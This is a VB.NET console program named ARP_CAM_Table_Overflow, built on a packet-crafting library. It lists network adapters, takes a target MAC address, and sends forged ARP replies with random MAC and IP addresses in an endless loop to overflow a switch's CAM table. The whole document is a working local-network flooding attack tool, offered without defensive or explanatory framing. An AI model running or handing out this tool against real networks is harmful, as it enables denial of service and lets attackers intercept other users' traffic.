Imports nokitel.PCAP 'Make sure your project is running .NET 3.5; and add a reference to nokitel.dll. Module ARP_CAM_Table_Overflow Private NIC As Adapters.Adapter = Nothing 'The NIC you will send from. Private Adapters As New Adapters 'An instance of the NIC-enumuration. Sub Main() ShowNICs() ChooseNIC() Console.WriteLine("! FF:FF:FF:FF:FF:FF, is the broadcast MAC-address.") Dim Target As String = vbNullString Do Console.WriteLine("< Enter the targets MAC:") Console.Write("> ") Target = Console.ReadLine Loop Until nokitel.Format.RegexMatch(Target, "^(([A-F0-9]){2}:){5}([A-F0-9]){2}$") Dim Threshold As Integer = &H0 Do Console.WriteLine("< Enter the numeric timeout in milliseconds:") Console.Write("> ") Dim Dummy As String = Console.ReadLine If IsNumeric(Dummy) Then Threshold = CInt(Dummy) Exit Do End If Loop Dim Ethernet As New nokitel.Parse.Ethernet.Ethernet Dim ARP As New nokitel.Parse.ARP.ARP Dim Payload(nokitel.Parse.ARP.OFFSET) As Byte Do With Ethernet .DestinationMAC = Target .SourceMAC = nokitel.Format.RandomMAC .Type = nokitel.Parse.Ethernet.Ethernet_Types.ARP End With With ARP .HardwareType = nokitel.Parse.ARP.HardwareType.Ethernet .Operation = nokitel.Parse.ARP.OPCODES.Reply .ProtocolAddressLength = &H4 'IPv4 Length (4 bytes). .HardwareAddressLength = &H6 'MAC-address Length (6 bytes). .ProtocolType = nokitel.Parse.ARP.ProtocolType.IP .SenderHardwareAddress = nokitel.Format.RandomMAC .SenderProtocolAddress = nokitel.Format.RandomIP .TargetHardwareAddress = nokitel.Format.RandomMAC .TargetProtocolAddress = nokitel.Format.RandomIP End With nokitel.Parse.Ethernet.Make(Payload, Ethernet) nokitel.Parse.ARP.Make(Payload, ARP) NIC.Send(Payload) If Threshold > &H0 Then System.Threading.Thread.Sleep(Threshold) Loop End Sub Private Sub ShowNICs() For Index As Integer = &H0 To Adapters.Enumurate.Length - &H1 'Loop through all available NIC's, and display their stats: With Adapters.Enumurate(Index) Console.WriteLine("* ID: " & Index) Console.WriteLine("* Name: " & .Name) Console.WriteLine("* Description: " & .Description) Console.WriteLine("* GUID: " & .GUID) Console.WriteLine("* Netmask: " & .Netmask) Console.WriteLine("* Destination: " & .DestinationAddress) Console.WriteLine("* Broadcast: " & .BroadcastAddress) Console.WriteLine("* IP: " & .IP) Console.WriteLine("* MAC: " & .MAC) Console.WriteLine("* Gateway IP: " & .GatewayIP) Console.WriteLine("* Gateway MAC: " & .GatewayMAC) Console.WriteLine("* Supports WiFi: " & CStr(If(.IsWIFI, "Yes", "No")) & ".") End With Console.WriteLine() Next End Sub Private Sub ChooseNIC() Dim ID As String = vbNullString Do Console.Write("> ") ID = Console.ReadLine If IsNumeric(ID) Then If ID >= &H0 And ID < Adapters.Enumurate.Length Then NIC = Adapters.Enumurate(ID) 'Set the NIC-variable to the corresponding index from the "ShowNICs()" output. If Not NIC.Open(, False) Then Console.WriteLine("x Unable to hook device!") End End If Exit Do End If End If Loop End Sub End Module